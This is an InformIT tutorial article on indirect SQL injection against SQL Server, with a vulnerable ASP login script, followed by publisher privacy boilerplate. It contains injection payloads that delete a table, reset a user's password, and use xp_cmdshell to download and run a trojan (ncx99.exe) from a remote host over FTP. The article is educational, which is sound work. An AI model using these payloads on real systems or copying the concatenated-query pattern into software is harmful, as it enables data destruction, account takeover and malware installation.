Home > Articles > Data > SQL Server

  • Print
  • + Share This
Like this article? We recommend

Like this article? We recommend

Indirect Attacks (SQL Injection)

A direct attack on a SQL server is not always the best approach for a hacker. For example, if the DBA account has a strong password, it could take years to crack it. In addition, many SQL servers are not directly connected to the Internet but are instead tucked safely away behind a firewall. Although these scenarios are valid obstacles to a hacker attack, there is always more than one way to breach security.

An indirect attack on a SQL server is accomplished using any program that interacts with the database. This typically takes the form of a search engine, user authentication form, or even an email address collection program. The weakness is not found in the database server or even in weak authorization. Instead, it is found in the way that the program scripting is written. In other words, this type of attack is often a result of a programmer error, not a SQL server error.

To illustrate, let's look at a simple search engine that could be found at an online store. When a person enters the name of the item he is interested in, this information is placed into a SQL request. For example, the following could be a SQL request if the user is looking for information about furniture:

"SELECT * from tblStore where description = ' . $searchWord . ';"

The final SQL string sent to the SQL server will look as follows:

"SELECT * from tblStore where description = 'furniture';"

Note how the entire search word is placed between the single quotes, and also note the ; that indicates the end of a SQL request.

The server would take this request and send back all the information in the table that meets these criteria. However, with a little twist on the search word, a hacker could start to work his way into the heart of the server. For example, what if a hacker placed the following string in the search field:

'furniture' ; DELETE * from tblStore;" 

Now, instead of a simple request, the SQL server would be sent the following two commands:

"SELECT * from tblStore where description ='furniture'; DELETE * from tblStore;"

In other words, the SQL server would first perform a quick search of the table for the search word of furniture. It would then follow this search with a complete deletion of the contents of the table!

The above example illustrates the damage that can be done, but many other methods of attack can be performed using this technique. For example, a SQL string could be created that queries the database server for the user account information stored in the master database, or that executes an extended stored procedure, such as the xp_cmdshell we previously discussed.

To illustrate, we have created a database named Users and Web page form that is used to authenticate Web users. As illustrated in Figure 4, the user is presented with two fields asking for a username and password. Normally, a user would enter the information and click Submit. This information would then be used to create a SQL command that would pull the user's information from the Users database and then compare the existing password to the entered password. Listing 1 is a sample script that would do this; an explanation of how it works follows.

Figure 4Figure 4 Typical Web-based user/password entry form.

Listing 1: Example Scripting

1<%
2 myDSN="PROVIDER=MSDASQL;DRIVER={SQL Server};"
3 myDSN=myDSN & "SERVER=127.0.0.1;DATABASE=users;"
4 myDSN=myDSN & "UID=sa;PWD=WKDISLA;"
5
6  set conn=server.createobject("adodb.connection")
7  conn.open myDSN
8
9  username=request.querystring("username")
10 enteredpassword=trim(request.querystring("password"))
11 if username <> "" then
12
13  mySQL="SELECT * FROM tblusers WHERE username= '"& username &"';"
14
15  set rs=conn.execute(mySQL)
16  rs.movenext
17  password=trim(rs.fields("password"))
18
19  if enteredpassword = password then
20   response.write "Password Correct"
21  else
22    response.write "Password Incorrect"
23  end if
24 end if%>

Lines 1–7 define the connection string required to send data to a SQL server. Note that the password is strong, which means that a hacker can't directly attack this database server.

Lines 9–10 capture the incoming username/password as entered by the user.

Line 11 checks to ensure that there is a username entered. Although this is a form of validation, it is not enough to stop SQL injection.

Line 13 shows the SQL string that will be used to query the database.

Lines 15–17 retrieve the user's password from the database.

Lines 19–23 check to see if the entered password matches the password from the database. Normally, this stage of the script either passes the user on to a secure part of the Web site or kicks the user back out, depending on the results of this simple validation.

When used as expected, the script creates the following SQL command, as depicted in Line 13. If the user entered seth as the username, the following SQL string would be sent to the SQL server:

"SELECT * FROM tblusers WHERE username= 'seth';"

This query would return the value of sethpass (assuming this was the password listed) from the database, which would then be compared to the user-entered password value. Although this seems to be fairly secure, if a hacker found this Web form, he could inject his own SQL command into the database through the username field. In fact, if a hacker knew the user account but not the password, he could easily update the database with a password of his choice. The following illustrates this:

Entered username:

"seth'; update tblusers set password='hacker" where username='seth"

Entered password: n/a

SQL string sent to server:

"SELECT * FROM tblusers WHERE username= 'seth'; 
update tblusers set password='hacker" where username='seth"

Note that the final SQL string is actually the concatenation of two individual strings. This is allowed by default in most databases, and it can be used in many legitimate ways. However, in this case the hacker updated the password for seth to a password of his choice (hacker). Now all the hacker has to do is go back to the user/password form and enter seth as the user and hacker as the password to gain access to the site.

This same type of attack can be used to force the SQL to execute the same extended stored procedures that we used in the direct attack section. For example, the following username entries will result in the creation and execution of a popular Trojan:

**Creates a file to be used by FTP**
Seth'; exec xp_cmdshell '"echo open 192.168.10.12" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo USER" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo PASS" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo GET ncx99.exe" >> c:\hack.txt';
Seth'; exec xp_cmdshell '"echo quit" >> c:\hack.txt';

**Uses the previously created file to control a FTP session**
Seth'; exec xp_cmdshell 'FTP.EXE -s:C:\hack.txt';

**Executes the downloaded trojan**
Seth'; exec xp_cmdshell 'c:\winnt\system32\ncx99.exe';

This example illustrates the dangers of improper programming and improper SQL server management. However, it should be noted that SQL injection often takes a detailed understanding of SQL commands and scripting languages, and a good understanding of how these technologies work together. Although Web sites that are vulnerable to SQL injection techniques are fairly common, this is rarely simple to exploit, and it can take several hours before finding the right combination of characters and commands. In many ways, a SQL hacker has to map out the functions the hidden scripts are using by trial and error.

  • + Share This
  • 🔖 Save To Your Account

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.

Overview


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information


To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.

Surveys

Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.

Newsletters

If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information


Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.

Security


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.

Children


This site is not directed to children under the age of 13.

Marketing


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information


If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.

Choice/Opt-out


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information


Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents


California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure


Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.

Links


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact


Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice


We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020